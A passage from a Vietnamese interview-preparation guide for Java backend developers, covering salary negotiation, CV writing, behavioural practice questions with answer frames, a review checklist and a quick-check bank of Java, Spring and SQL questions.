1. Với người phỏng vấn kỹ thuật: "Hệ thống hiện tại đang gặp thách thức kỹ thuật lớn nhất là gì?", "Quy trình từ lúc merge code tới lúc lên production diễn ra thế nào?", "Team xử lý sự cố và on-call ra sao?"
1. Về công việc cụ thể: "Ba tháng đầu, người vào vị trí này cần đạt được gì thì anh chị coi là thành công?", "Tỷ lệ phát triển tính năng mới và bảo trì khoảng bao nhiêu?"
1. Về phát triển: "Cơ chế đánh giá và review lương diễn ra mấy lần một năm, dựa trên tiêu chí gì?", "Người ở vị trí này thường phát triển lên đâu sau 2 năm?"
1. Với công ty outsource: "Dự án em tham gia là cho khách hàng nào (thị trường nào), thời hạn bao lâu, hết dự án thì em được sắp xếp thế nào?"
	BẪY THƯỜNG GẶP
Hỏi về lương, ngày nghỉ ngay ở vòng kỹ thuật, hoặc hỏi những điều có sẵn trên website. Để chuyện đãi ngộ cho vòng HR.



13.7 Deal lương
Tìm mức thị trường
Trước khi phỏng vấn, bạn phải biết khoảng lương cho vị trí của mình. Nguồn tham khảo: báo cáo lương IT thường niên của các trang tuyển dụng và công ty headhunt, khoảng lương ghi trong JD của các vị trí tương tự, trao đổi với headhunter, và hỏi bạn bè cùng level (hỏi khoảng, không hỏi con số chính xác). Lưu ý mức lương chênh lệch đáng kể giữa công ty outsource, product, ngân hàng và công ty nước ngoài, cũng như giữa Hà Nội, TP.HCM và remote cho khách hàng nước ngoài.
Nói con số thế nào
1. Nếu có thể, để nhà tuyển dụng đưa khoảng trước: "Anh chị có thể chia sẻ khoảng ngân sách cho vị trí này không ạ?"
1. Nếu buộc phải nói, đưa một khoảng hẹp mà đáy là mức bạn đã hài lòng, ví dụ "em mong muốn khoảng 35 đến 40 triệu gross". HR thường đề xuất gần đáy.
1. Giải thích bằng giá trị bạn mang lại và mặt bằng thị trường, không bằng nhu cầu cá nhân ("em mới vay mua nhà").
1. Khi HR im lặng sau con số của bạn, đừng tự hạ giá để lấp khoảng lặng.
Gross, net và các thành phần
Luôn nói rõ gross hay net. Gross là tổng trước khi trừ bảo hiểm bắt buộc phần người lao động đóng (BHXH 8%, BHYT 1,5%, BHTN 1%, tổng 10,5%) và thuế thu nhập cá nhân lũy tiến sau giảm trừ gia cảnh. Mức giảm trừ và biểu thuế có thể thay đổi theo quy định mới, nên hãy dùng công cụ tính gross sang net được cập nhật thay vì nhớ số cũ. Hỏi thêm "lương đóng bảo hiểm là bao nhiêu", vì một số nơi đóng trên mức lương cơ bản thấp hơn tổng thu nhập, ảnh hưởng tới quyền lợi dài hạn của bạn.
	Thành phần
	Câu nên hỏi

	Lương tháng 13
	Có cam kết trong hợp đồng hay tùy kết quả kinh doanh?

	Performance bonus
	Trung bình bao nhiêu tháng lương, điều kiện nhận?

	Thử việc
	Bao lâu, hưởng bao nhiêu phần trăm lương?

	Review lương
	Mấy lần một năm, mức tăng trung bình?

	Bảo hiểm sức khỏe
	Có gói tư nhân, áp dụng cho người thân không?

	Remote, hybrid
	Bao nhiêu ngày mỗi tuần, có ghi trong chính sách?

	Khác
	Ngày phép, phụ cấp, ngân sách học tập, thiết bị, OT



	GHI CHÚ
Theo Bộ luật Lao động 2019, lương thử việc ít nhất bằng 85% lương chính thức, và thời gian thử việc tối đa 60 ngày với công việc yêu cầu trình độ từ cao đẳng trở lên. Khi so sánh offer, hãy quy về tổng thu nhập năm (12 tháng lương cộng tháng 13 cộng bonus kỳ vọng) chứ không chỉ so lương tháng.



Khi có nhiều offer
1. So sánh bằng tổng thu nhập năm, rồi tới những yếu tố khó đổi ra tiền: bài toán kỹ thuật, người lead trực tiếp, sự ổn định, lộ trình phát triển.
1. Nói thật với công ty bạn thích hơn rằng bạn có offer khác và mức của nó, hỏi họ có điều chỉnh được không. Chỉ làm điều này một lần, không kéo co nhiều vòng.
1. Xin thêm thời gian suy nghĩ là bình thường (vài ngày), nhưng đừng giữ offer quá lâu rồi im lặng.
1. Từ chối lịch sự bằng email, cảm ơn thời gian của họ. Bạn có thể quay lại công ty đó sau hai năm.
1. Cẩn trọng với counter-offer từ công ty hiện tại: nếu lý do bạn ra đi không chỉ là lương, tăng lương hiếm khi giữ bạn được lâu.
13.8 Viết CV cho 2–4 năm kinh nghiệm
CV của bạn là danh sách câu hỏi mà người phỏng vấn sẽ dùng. Mỗi dòng phải là thứ bạn muốn được hỏi và trả lời được ít nhất ba tầng.
1. Độ dài 1–2 trang, dự án gần nhất ở trên cùng. Mỗi dự án: bối cảnh một dòng, quy mô team, vai trò, stack, rồi 3–5 dòng thành tựu.
1. Dòng thành tựu theo công thức: động từ + việc bạn làm + công nghệ + con số kết quả.
1. Chia kỹ năng theo mức độ thật: dùng thành thạo trong dự án, đã dùng, đang tìm hiểu. Không ghi thứ bạn không trả lời được hai câu hỏi.
1. Điều chỉnh CV theo từng JD: đưa kỹ năng khớp lên trước, dùng đúng từ khóa trong JD, vì nhiều nơi lọc CV tự động bằng từ khóa.
1. GitHub hay blog chỉ ghi khi có nội dung thực sự, một repo trống gây ấn tượng tệ hơn là không ghi.
	Dòng CV yếu
	Dòng CV tốt

	Phát triển API cho hệ thống đơn hàng
	Xây dựng 12 REST API order service (Spring Boot 3), 50 nghìn đơn/ngày

	Tối ưu hiệu năng hệ thống
	Giảm p95 trang đơn hàng từ 3,2 s xuống 180 ms (sửa N+1, thêm index)

	Sử dụng Kafka
	Chuyển luồng thông báo sang Kafka, idempotent consumer, hết timeout khi SMS chậm

	Làm việc nhóm tốt
	Viết tài liệu onboarding, rút thời gian làm quen của người mới từ 3 tuần còn 1 tuần



	MẸO TỪ NGƯỜI PHỎNG VẤN
Nếu không nhớ con số chính xác, dùng con số ước lượng trung thực và nói rõ khi được hỏi ("khoảng", "theo dashboard APM tuần đó"). Nếu hoàn toàn không có số đo, hãy mô tả tác động nghiệp vụ: "loại bỏ bước đối soát tay hằng ngày của đội kế toán". Đừng bịa phần trăm, người phỏng vấn sẽ hỏi bạn đo bằng cách nào.



13.9 Câu hỏi tình huống tự luyện
Các câu dưới đây là tình huống tôi và đồng nghiệp hay dùng ở vòng behavioral và vòng quản lý. Mỗi câu có ý chính (người phỏng vấn muốn kiểm tra gì) và khung trả lời để bạn điền câu chuyện thật của mình vào. Hãy tự nói to từng câu trong 2–3 phút, ghi âm lại và nghe xem có con số, có "em" rõ ràng và có bài học không.
Câu hỏi (Thực chiến): Kể về dự án bạn tự hào nhất trong 3 phút.
Ý chính: người phỏng vấn kiểm tra bạn hiểu bối cảnh nghiệp vụ, phần mình đóng góp và kết quả đo được, không phải danh sách công nghệ.
Khung trả lời:
1. Bối cảnh một câu: hệ thống phục vụ ai, quy mô bao nhiêu.
1. Phần của bạn: module nào, quyết định kỹ thuật nào do bạn đề xuất.
1. Một vấn đề khó và các phương án đã cân nhắc.
1. Kết quả có con số và một điều bạn sẽ làm khác nếu làm lại.
Câu hỏi (Thực chiến): Nếu được làm lại dự án gần nhất, bạn sẽ thay đổi gì?
Ý chính: kiểm tra tư duy trade-off và khả năng tự nhìn lại mà không đổ lỗi.
Khung trả lời:
1. Chọn một quyết định kỹ thuật cụ thể (ví dụ tách microservice quá sớm, thiếu test tích hợp cho luồng tiền).
1. Giải thích vì sao lúc đó quyết định như vậy là hợp lý với thông tin khi ấy.
1. Hệ quả thực tế bạn quan sát được, có số liệu nếu có.
1. Bạn sẽ làm gì khác và cái giá của phương án mới.
	BẪY THƯỜNG GẶP
"Em sẽ viết lại toàn bộ bằng công nghệ X" hoặc "dự án đó do team cũ thiết kế dở". Câu đầu cho thấy bạn nghĩ công nghệ giải quyết mọi thứ, câu sau là đổ lỗi.



Câu hỏi (Thực chiến): Một đồng nghiệp liên tục trễ phần việc và làm chậm cả team. Bạn xử lý thế nào?
Ý chính: kiểm tra bạn giải quyết vấn đề trực tiếp, tôn trọng, dựa trên sự việc, và biết khi nào cần báo lên.
Khung trả lời:
1. Nói chuyện riêng trước, hỏi nguyên nhân (task quá khó, bị giao nhiều việc, việc cá nhân) thay vì phán xét.
1. Đề xuất hỗ trợ cụ thể: pair programming, chia nhỏ task, làm rõ yêu cầu.
1. Nếu ảnh hưởng tới deadline chung, báo lead bằng dữ kiện (task nào, trễ bao lâu), không bằng cảm nhận.
1. Kết quả và điều bạn học được về làm việc nhóm.
Câu hỏi (Thực chiến): Lead yêu cầu bạn làm theo một thiết kế bạn cho là sai. Bạn làm gì?
Ý chính: kiểm tra bạn biết phản biện bằng dữ liệu và biết "disagree and commit" (không đồng ý nhưng vẫn cam kết làm khi quyết định đã chốt).
Khung trả lời:
1. Nêu cụ thể rủi ro kỹ thuật, kèm bằng chứng: số liệu, PoC nhỏ, tài liệu chính thức.
1. Đề xuất phương án thay thế và chi phí của nó.
1. Nếu lead vẫn giữ quyết định, làm hết sức và ghi lại rủi ro (ADR, ticket tech debt).
1. Kể câu chuyện thật; ví dụ 2 ở mục 13.4 là một khuôn mẫu.
Câu hỏi (Thực chiến): 5 giờ chiều thứ Sáu bạn phát hiện một bug nghiêm trọng trong code mình đã release sáng nay. Bạn làm gì?
Ý chính: kiểm tra tinh thần trách nhiệm và thứ tự ưu tiên khi có sự cố: giảm thiệt hại trước, tìm nguyên nhân sau.
Khung trả lời:
1. Đánh giá mức ảnh hưởng: bao nhiêu người dùng, có sai lệch tiền hay dữ liệu không.
1. Báo ngay cho lead và người trực, không tự âm thầm sửa.
1. Chọn cách khôi phục nhanh nhất: rollback, tắt feature flag, hotfix nhỏ có review.
1. Sau đó sửa dữ liệu bị ảnh hưởng, viết postmortem và thêm test hoặc bước kiểm tra để không lặp lại.
Câu hỏi (Thực chiến): Kể về một lần bạn phải học một công nghệ hoàn toàn mới trong thời gian ngắn.
Ý chính: kiểm tra tốc độ và phương pháp học, cùng khả năng biến kiến thức mới thành kết quả.
Khung trả lời:
1. Bối cảnh: vì sao phải học, thời hạn bao lâu.
1. Cách học: tài liệu chính thức, PoC có kịch bản lỗi, hỏi người có kinh nghiệm.
1. Áp dụng vào dự án: phần nào bạn làm, gặp khó khăn gì.
1. Kết quả và cách bạn chia sẻ lại cho team.
Câu hỏi (Thực chiến): Khách hàng hoặc PM thay đổi yêu cầu khi sprint đã đi được một nửa. Bạn phản ứng thế nào?
Ý chính: kiểm tra bạn có làm rõ tác động và để người có thẩm quyền quyết định, thay vì âm thầm ôm việc hoặc từ chối cứng.
Khung trả lời:
1. Làm rõ thay đổi bằng ví dụ cụ thể và hỏi mức độ gấp.
1. Ước lượng tác động: phần nào phải làm lại, ảnh hưởng tới deadline và các task khác.
1. Đưa ra lựa chọn: đổi task khác ra khỏi sprint, lùi hạn, hoặc làm bản tối thiểu.
1. Ghi lại quyết định trên ticket để cả team cùng nắm.
Câu hỏi (Thực chiến): Bạn được giao một module legacy không có test và không có tài liệu. Bạn bắt đầu từ đâu?
Ý chính: kiểm tra bạn làm việc an toàn với code cũ, không đập đi xây lại theo cảm hứng.
Khung trả lời:
1. Đọc luồng chính và log production để hiểu hành vi thật; hỏi người từng làm nếu còn.
1. Viết test bao quanh hành vi hiện tại (characterization test) trước khi sửa.
1. Sửa từng bước nhỏ, mỗi bước có review và có thể rollback.
1. Ghi lại tài liệu ngắn cho người sau, kể kết quả cụ thể nếu có.
Câu hỏi (Thực chiến): Hai stakeholder yêu cầu hai việc mâu thuẫn và đều nói là gấp. Bạn làm gì?
Ý chính: kiểm tra bạn biết đẩy quyết định ưu tiên về đúng người có thẩm quyền, kèm thông tin đủ để họ quyết.
Khung trả lời:
1. Làm rõ với từng bên: gấp vì sao, trễ thì ảnh hưởng gì.
1. Tổng hợp lại hai yêu cầu, chi phí và tác động, gửi cho PM hoặc lead.
1. Đề xuất thứ tự nếu được hỏi ý kiến, nhưng không tự chọn phe.
1. Thông báo quyết định cuối cho cả hai bên bằng văn bản.
Câu hỏi (Thực chiến): Kể về một lần bạn giúp đồng nghiệp mới hoặc junior tiến bộ.
Ý chính: với ứng viên 3–4 năm, người phỏng vấn muốn thấy dấu hiệu bạn đã bắt đầu nâng người khác lên, không chỉ làm tốt việc của mình.
Khung trả lời:
1. Người đó gặp khó khăn gì (chưa quen codebase, chưa viết test, sợ hỏi).
1. Bạn làm gì cụ thể: tài liệu onboarding, pair programming, review có giải thích.
1. Kết quả đo được: thời gian làm quen, số lỗi review lặp lại giảm.
1. Bạn học được gì về cách giải thích.
Câu hỏi (Thực chiến): Bạn ước lượng task 3 ngày nhưng làm 7 ngày vẫn chưa xong. Chuyện gì đã xảy ra và bạn làm gì?
Ý chính: kiểm tra sự trung thực về ước lượng sai và việc bạn báo sớm hay báo muộn.
Khung trả lời:
1. Thời điểm bạn nhận ra sẽ trễ và lúc bạn báo (càng sớm càng tốt).
1. Nguyên nhân thật: phụ thuộc chưa biết, yêu cầu phát sinh, đánh giá thấp độ phức tạp.
1. Cách khắc phục lúc đó: cắt phạm vi, nhờ hỗ trợ.
1. Thay đổi về cách ước lượng sau đó, ví dụ chia task nhỏ hơn một ngày, spike trước khi ước lượng.
	BẪY THƯỜNG GẶP
"Em chưa bao giờ trễ task." Với 2–4 năm kinh nghiệm, câu này không đáng tin và cho thấy bạn không tự nhìn lại.



Câu hỏi (Thực chiến): Bạn nhận ra một quy trình trong team đang gây lãng phí. Bạn đã từng cải thiện nó chưa?
Ý chính: kiểm tra tính chủ động (ownership): bạn thấy vấn đề và làm gì đó, không chỉ than phiền.
Khung trả lời:
1. Vấn đề cụ thể và cái giá của nó (ví dụ deploy tay mất 1 giờ mỗi lần, hay lỗi do quên bước).
1. Bạn đề xuất gì, thuyết phục team ra sao.
1. Triển khai: làm thử nhỏ, đo, rồi mở rộng.
1. Con số trước và sau.
Câu hỏi (Thực chiến): Bạn đang on-call, lúc 2 giờ sáng alert báo tỷ lệ lỗi tăng nhưng bạn không quen phần hệ thống đó. Bạn làm gì?
Ý chính: kiểm tra bạn giữ bình tĩnh, làm theo quy trình và biết leo thang (escalate) đúng lúc.
Khung trả lời:
1. Xác nhận alert có thật, đánh giá ảnh hưởng tới người dùng.
1. Mở runbook, dashboard, xem có deploy hay thay đổi cấu hình gần đây không.
1. Nếu không xử lý được trong khoảng thời gian quy định, gọi người sở hữu hệ thống, không cố một mình.
1. Ghi lại timeline trong kênh sự cố để viết postmortem.
Câu hỏi (Thực chiến): Bạn phát hiện đồng nghiệp commit mật khẩu database lên Git. Bạn làm gì?
Ý chính: kiểm tra ý thức bảo mật và cách xử lý chuyện nhạy cảm mà không làm người khác mất mặt.
Khung trả lời:
1. Báo ngay cho người đó và lead; coi mật khẩu đã bị lộ, dù repo là private.
1. Ưu tiên đổi (rotate) mật khẩu, sau đó mới xóa khỏi lịch sử Git nếu cần.
1. Đề xuất phòng ngừa: secret scanning trong CI, dùng secret manager, .gitignore cho file cấu hình local.
1. Không bêu tên trong kênh chung; tập trung vào quy trình.
Câu hỏi (Thực chiến): Người phỏng vấn hỏi một công nghệ ghi trong CV mà bạn chỉ dùng qua loa. Bạn trả lời thế nào?
Ý chính: kiểm tra sự trung thực; nói rõ mức độ thật của mình và phần bạn đã làm, không cố nói vượt quá.
Khung trả lời:
1. Nói thẳng phạm vi: "Em dùng Kafka ở phía consumer, phần cấu hình cluster do team platform làm."
1. Trả lời chắc những gì bạn đã làm thật.
1. Với phần chưa biết, nói cách bạn sẽ tìm hiểu hoặc suy luận từ nguyên lý.
1. Sau buổi phỏng vấn, sửa CV cho đúng mức độ.
Câu hỏi (Thực chiến): Kể về một quyết định kỹ thuật bạn phải đưa ra khi không đủ thông tin.
Ý chính: kiểm tra cách bạn cân rủi ro và làm cho quyết định có thể đảo ngược được.
Khung trả lời:
1. Bối cảnh và thông tin còn thiếu.
1. Các phương án, và phương án nào dễ quay lại nhất nếu sai.
1. Cách bạn giảm rủi ro: feature flag, làm thử nhỏ, thiết lập chỉ số theo dõi.
1. Kết quả thực tế và bạn điều chỉnh gì khi có thêm thông tin.
Câu hỏi (Thực chiến): HR hỏi "Mức lương hiện tại của bạn là bao nhiêu?". Bạn trả lời thế nào?
Ý chính: kiểm tra bạn có chuẩn bị và có thương lượng chuyên nghiệp không; bạn có thể chuyển trọng tâm sang mức mong muốn.
Khung trả lời:
1. Có thể trả lời thật và ngắn, nói rõ gross hay net, kèm tổng thu nhập năm nếu có thưởng.
1. Chuyển trọng tâm: "Với phạm vi công việc của vị trí này và mặt bằng thị trường, em mong muốn khoảng X đến Y gross."
1. Nếu không muốn tiết lộ, từ chối lịch sự và đưa luôn mức mong muốn.
1. Không nói dối về con số, vì một số nơi yêu cầu xác minh qua bảng lương hoặc sổ bảo hiểm.
Câu hỏi (Thực chiến): HR đưa offer thấp hơn mức mong muốn 15%. Bạn phản hồi thế nào?
Ý chính: kiểm tra bạn thương lượng dựa trên giá trị và dữ kiện, giữ thái độ hợp tác.
Khung trả lời:
1. Cảm ơn và thể hiện bạn quan tâm tới vị trí.
1. Nêu lại mức mong muốn, dựa trên phạm vi công việc, kinh nghiệm liên quan và mặt bằng thị trường.
1. Hỏi các phần có thể điều chỉnh khác: thưởng, review lương sau thử việc, ngày phép, remote.
1. Xin thời gian suy nghĩ có hạn rõ ràng (2–3 ngày), không trả lời vội tại chỗ.
Câu hỏi (Thực chiến): Công ty hiện tại đưa counter-offer tăng 20% khi bạn nộp đơn nghỉ. Bạn quyết định thế nào?
Ý chính: kiểm tra bạn hiểu rõ lý do mình ra đi và giữ uy tín với cả hai bên.
Khung trả lời:
1. Nhìn lại lý do ra đi: nếu không chỉ vì tiền, tăng lương không giải quyết được.
1. So sánh bằng tổng thu nhập năm và cơ hội phát triển, không chỉ lương tháng.
1. Đã nhận offer mới thì tôn trọng cam kết, trừ khi có lý do rất lớn và báo sớm.
1. Rời đi lịch sự, bàn giao đầy đủ, vì thị trường nhỏ.
Câu hỏi (Thực chiến): Bạn trượt vòng kỹ thuật của một công ty bạn rất thích. Bạn làm gì sau đó?
Ý chính: câu này thường được hỏi dưới dạng "Kể về một thất bại"; người phỏng vấn muốn thấy cách bạn biến thất bại thành kế hoạch cải thiện.
Khung trả lời:
1. Nói thật chuyện đã xảy ra và phần trách nhiệm của bạn (chuẩn bị chưa đủ phần nào).
1. Bạn đã làm gì ngay sau đó: ghi lại câu hỏi, xin phản hồi.
1. Kế hoạch cụ thể để lấp lỗ hổng và kết quả của kế hoạch đó.
1. Không oán trách người phỏng vấn hay đề bài.
Câu hỏi (Thực chiến): Bạn làm gì trong 30 ngày đầu ở công ty mới?
Ý chính: kiểm tra bạn có kế hoạch hòa nhập chủ động và biết cân bằng giữa học và đóng góp.
Khung trả lời:
1. Tuần 1–2: dựng môi trường, đọc kiến trúc, chạy luồng chính, hỏi nhiều và ghi chép.
1. Tuần 2–3: nhận task nhỏ có thể release, làm quen quy trình review và deploy.
1. Tuần 4: nhận một task trọn vẹn, cập nhật lại tài liệu onboarding chỗ còn thiếu.
1. Hẹn gặp lead cuối tháng để xác nhận kỳ vọng và phản hồi.
Câu hỏi (Thực chiến): Người phỏng vấn nói "Câu trả lời vừa rồi của em chưa đúng". Bạn phản ứng thế nào?
Ý chính: kiểm tra bạn tiếp nhận phản hồi ngay tại chỗ: bình tĩnh, hỏi lại, suy nghĩ lại công khai.
Khung trả lời:
1. Không phòng thủ, không im lặng; hỏi lại chỗ nào chưa đúng hoặc xin gợi ý.
1. Suy nghĩ lại thành lời: "Nếu vậy thì trường hợp X sẽ...".
1. Nếu vẫn tin mình đúng, trình bày lập luận hoặc ví dụ một cách lịch sự.
1. Nếu sai, nhận và nói lại cách hiểu đúng; điều này được đánh giá cao hơn cố cãi.
13.10 Tóm tắt trọng tâm
1. Phần kể chuyện dự án và behavioral quyết định kết quả không kém vòng kỹ thuật, vì người phỏng vấn tuyển một người để làm việc cùng hằng ngày chứ không chỉ một người biết Spring Boot.
1. Bài giới thiệu 60–90 giây nên theo khung hiện tại, điểm nhấn, điểm mạnh riêng, lý do ứng tuyển, và cài sẵn "móc câu" vào chủ đề bạn mạnh nhất, vì câu hỏi tiếp theo thường xoay quanh những gì bạn vừa nhắc.
1. Kể dự án theo thứ tự nghiệp vụ, kiến trúc, phần mình làm, vấn đề khó, con số, vì liệt kê công nghệ không cho người nghe biết bạn giải quyết được gì.
1. Luôn tách "team" và "em", vì người phỏng vấn chỉ chấm được những gì bạn nói rõ là của mình.
1. Mọi công nghệ trong CV đều có thể bị hỏi tới tầng thứ ba, nên chỉ ghi thứ bạn trả lời được và nói thật mức độ khi bị hỏi.
1. Câu chuyện behavioral theo STAR cộng Lesson, phần Action chiếm nhiều nhất, vì đó là nơi thể hiện năng lực, còn Lesson cho thấy bạn thay đổi sau sự việc.
1. Chuyện thật dù nhỏ tốt hơn chuyện hoành tráng mà bịa, vì người phỏng vấn giỏi luôn hỏi chi tiết kỹ thuật tới khi lộ.
1. Câu trả lời tồi thường có chung dấu hiệu: đổ lỗi, sáo rỗng, không có con số hoặc có thể áp dụng cho bất kỳ ai; tự kiểm tra câu trả lời của mình theo bốn dấu hiệu này.
1. Khi bất đồng, dùng dữ liệu và phương án nhỏ hơn, rồi tôn trọng quyết định cuối cùng, vì người phỏng vấn tìm người phản biện được nhưng không gây chia rẽ.
1. Chuẩn bị 3–5 câu hỏi ngược theo từng vòng, vì "dạ không ạ" bị hiểu là bạn không quan tâm tới công việc.
1. Deal lương bằng khoảng hẹp có đáy là mức bạn hài lòng, nói rõ gross hay net, và so sánh offer bằng tổng thu nhập năm, vì chỉ so lương tháng dễ chọn sai.
1. Không bịa offer hay số liệu, vì thị trường IT Việt Nam nhỏ và mất uy tín một lần rất khó lấy lại.
13.11 Checklist ôn tập
1. Có bài giới thiệu 60–90 giây theo khung 4 phần, cài sẵn 2–3 "móc câu" vào chủ đề mạnh nhất
1. Kể được dự án gần nhất theo thứ tự: nghiệp vụ, kiến trúc, phần mình làm, vấn đề khó, con số
1. Vẽ được sơ đồ kiến trúc trong 2 phút, trả lời được mỗi mũi tên đồng bộ hay bất đồng bộ, lỗi thì sao
1. Rà từng công nghệ trong CV, tự hỏi 3 tầng câu hỏi, gạch bỏ thứ không trả lời được
1. Chuẩn bị 3 câu chuyện STAR có Lesson: sự cố production, bất đồng, tối ưu hiệu năng có số đo
1. Chuẩn bị thêm câu chuyện về một lỗi mình gây ra và một lần xử lý yêu cầu mơ hồ
1. Luyện 12 câu behavioral, không nói xấu công ty cũ, không dùng điểm yếu sáo rỗng
1. Có 3–5 câu hỏi ngược cho từng vòng (kỹ thuật, quản lý, HR)
1. Biết khoảng lương thị trường cho vị trí, chốt trước mức đáy và khoảng sẽ nói
1. Phân biệt gross và net, hỏi lương đóng bảo hiểm, tháng 13, bonus, thử việc, review lương, remote
1. So sánh offer bằng tổng thu nhập năm cộng các yếu tố phát triển, không bịa offer
1. Mỗi dòng thành tựu trong CV có động từ, công nghệ và con số hoặc tác động nghiệp vụ
1. Tự nói to ít nhất 10 câu tình huống ở mục 13.9, ghi âm và kiểm tra có con số, có "em" rõ ràng và có bài học
1. Với mỗi câu behavioral, biết một kiểu câu trả lời tồi và vì sao nó tồi
Phụ lục
Ba phụ lục dưới đây dùng cho tuần cuối trước ngày phỏng vấn. Phụ lục A là bộ câu hỏi nhanh để tự kiểm tra. Phụ lục B liệt kê các "kiến thức" lỗi thời hoặc sai vẫn lưu hành trong nhiều bộ đề trên mạng. Phụ lục C là checklist cho những ngày cuối.
A. Ngân hàng câu hỏi tự kiểm tra theo 3 mức
Cách dùng: che cột "Ý chính cần nói", tự trả lời thành tiếng trong khoảng 1–2 phút, rồi đối chiếu. Câu nào bạn chỉ nói được định nghĩa mà không nói được cơ chế hoặc trade-off thì quay lại chương tương ứng.
Mức 1: Nền tảng (không được phép trượt)
Ở mức 2–4 năm, trả lời sai nhóm này gần như đồng nghĩa với trượt vòng kỹ thuật. Người phỏng vấn thường dùng chúng để khởi động trước khi đào sâu. Câu nào bạn còn ấp úng, hãy quay lại Nền tảng 1 (Java, OOP) hoặc Nền tảng 2 (SQL, Web, Spring, Hibernate) trước khi học tiếp phần chuyên sâu.
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	equals và hashCode liên quan gì?
	equals true thì hashCode bằng nhau; sai thì HashSet chứa trùng, get trả null
	N1.9, 1.2

	Java pass-by-value hay reference?
	Luôn by-value; với object là bản sao tham chiếu
	N1.14, 1.4

	Interface khác abstract class?
	Khác ở trạng thái và mục đích; interface có default/static/private method
	N1.7, 1.1

	Checked và unchecked exception?
	Checked bị compiler bắt xử lý; Spring dùng unchecked; @Transactional mặc định không rollback checked
	N1.12, 1.7, 4.5

	Stack và Heap chứa gì?
	Stack: frame, biến cục bộ, riêng từng thread; Heap: object, dùng chung, do GC quản lý
	2.2

	Tạo thread thế nào trong thực tế?
	Qua ExecutorService/thread pool, không new Thread thủ công
	3.2

	IoC và DI là gì?
	Container tạo và nối dependency; ưu tiên constructor injection
	N2.7, 4.1

	Bean scope mặc định?
	Singleton, một instance mỗi container, không tự thread-safe
	4.2

	INNER, LEFT JOIN khác nhau?
	LEFT giữ mọi dòng bảng trái, không khớp thì cột phải là NULL
	N2.2, 6.1

	WHERE và HAVING?
	WHERE lọc dòng trước GROUP BY; HAVING lọc nhóm sau khi gộp
	N2.2, 6.1

	ACID là gì?
	Atomicity, Consistency, Isolation, Durability; durability nhờ redo log/WAL
	N2.4, 6.3

	PUT và PATCH?
	PUT thay toàn bộ, idempotent; PATCH sửa một phần
	7.2

	401 và 403?
	401 chưa xác thực; 403 đã xác thực nhưng không có quyền
	5.1, 7.3

	Vì sao cần message queue?
	Tách rời hệ thống, xử lý bất đồng bộ, san tải khi đột biến
	8.7

	Unit test và integration test?
	Unit cô lập bằng mock, chạy nhanh; integration chạy với DB/Spring thật
	10.6

	Overloading và overriding?
	Overloading: cùng tên khác tham số, chọn lúc biên dịch; overriding: lớp con định nghĩa lại, chọn lúc runtime
	N1.6

	static và final nghĩa là gì?
	static thuộc về class, không thuộc object; final: biến không gán lại, method không override, class không kế thừa
	N1.3

	== và equals với String?
	== so tham chiếu, equals so nội dung; literal nằm trong pool nên == đôi khi true, không được dựa vào
	N1.8, 1.3

	ArrayList và LinkedList?
	ArrayList get(i) O(1), gần như luôn là lựa chọn mặc định; LinkedList get(i) O(n)
	N1.11, 1.5

	Comparable và Comparator?
	Comparable là thứ tự tự nhiên cài trong class; Comparator là thứ tự bên ngoài, tạo được nhiều cách sort
	N1.10

	Optional dùng để làm gì?
	Kiểu trả về cho "có thể không có giá trị", thay cho trả null; không dùng làm field hay tham số
	N1.15, 1.8

	JDK, JRE, JVM khác nhau?
	JDK có compiler và công cụ; JRE đủ để chạy; JVM thực thi bytecode, có JIT
	N1.1, 2.1

	Primary key và unique constraint?
	PK không NULL, mỗi bảng một PK; unique có thể nhiều, thường cho phép NULL
	N2.1

	Index là gì, cái giá phải trả?
	Cấu trúc B-Tree giúp tìm nhanh; tốn dung lượng và làm chậm INSERT/UPDATE
	N2.4, 6.2

	GET và POST?
	GET chỉ đọc, safe và idempotent; POST tạo hoặc xử lý, không idempotent
	N2.5, 7.2

	Cookie và session?
	Cookie lưu ở trình duyệt; session lưu ở server, cookie chỉ giữ session ID
	N2.5, 5.3

	@Component, @Service, @Repository?
	Đều đăng ký bean; @Repository thêm dịch exception của DB; @Service thể hiện tầng nghiệp vụ
	N2.7, 4.1

	Spring Boot thêm gì so với Spring?
	Auto-configuration, starter, server nhúng, cấu hình mặc định hợp lý
	N2.9, 4.3

	Lazy và Eager loading?
	Lazy tải khi truy cập, Eager tải ngay; @ManyToOne mặc định EAGER
	N2.11, 6.4

	Status 200, 201, 204, 400, 404, 500?
	Thành công, đã tạo, không có nội dung, request sai, không tìm thấy, lỗi server
	7.3

	Big-O của HashMap.get và ArrayList.contains?
	O(1) trung bình và O(n); gọi contains trong vòng for là O(n^2)
	12.3

	Docker image và container?
	Image là bản đóng gói chỉ đọc gồm nhiều layer; container là tiến trình chạy từ image
	11.2

	git merge và rebase?
	Merge giữ nguyên lịch sử, thêm merge commit; rebase viết lại lịch sử cho thẳng, không rebase nhánh đã chia sẻ
	N2.13, 11.1

	Các log level dùng thế nào?
	ERROR, WARN, INFO, DEBUG; production thường ở INFO, không log mật khẩu hay token
	11.5



Mức 2: Hiểu cơ chế (phân biệt 2 năm với 4 năm)
Đây là nhóm quyết định level. Câu trả lời tốt phải có "vì sao" và ít nhất một hệ quả thực tế.
	Câu hỏi
	Ý chính cần nói
	Chương

	HashMap put hoạt động thế nào?
	Trộn hash, index = hash & (n-1), collision, treeify khi bucket quá 8 node và capacity từ 64, resize ở 0.75
	1.5

	Vì sao String bất biến?
	String pool, thread-safe, cache hashCode, an toàn
	N1.8, 1.3

	Memory leak trong Java khi đã có GC?
	Object còn được tham chiếu: static collection, cache không giới hạn, ThreadLocal, listener
	2.4

	G1 và ZGC khác gì?
	G1 mặc định, cân bằng throughput/pause; ZGC pause rất ngắn cho heap lớn
	2.3

	volatile đảm bảo gì?
	Visibility và happens-before; không đảm bảo atomic cho count++
	3.3, 3.4

	ConcurrentHashMap thread-safe thế nào?
	Java 8+: CAS và synchronized trên node đầu bucket, không còn segment
	3.8

	Cấu hình ThreadPoolExecutor ra sao?
	Core, max, queue có giới hạn, rejection policy; tránh queue vô hạn
	3.6

	@Transactional gọi trong cùng class?
	Self-invocation không đi qua proxy nên annotation không có tác dụng
	4.4, 4.5

	REQUIRED và REQUIRES_NEW?
	REQUIRES_NEW treo transaction ngoài, tốn thêm connection
	4.5

	Bean lifecycle?
	Khởi tạo, inject, Aware, BeanPostProcessor, @PostConstruct, proxy, @PreDestroy
	4.2

	N+1 là gì và sửa thế nào?
	1 query cha + N query con do lazy; JOIN FETCH, EntityGraph, batch size, DTO projection
	6.4

	Optimistic và pessimistic lock?
	@Version kiểm tra khi update, hợp ít xung đột; FOR UPDATE khóa dòng, hợp xung đột cao
	6.3

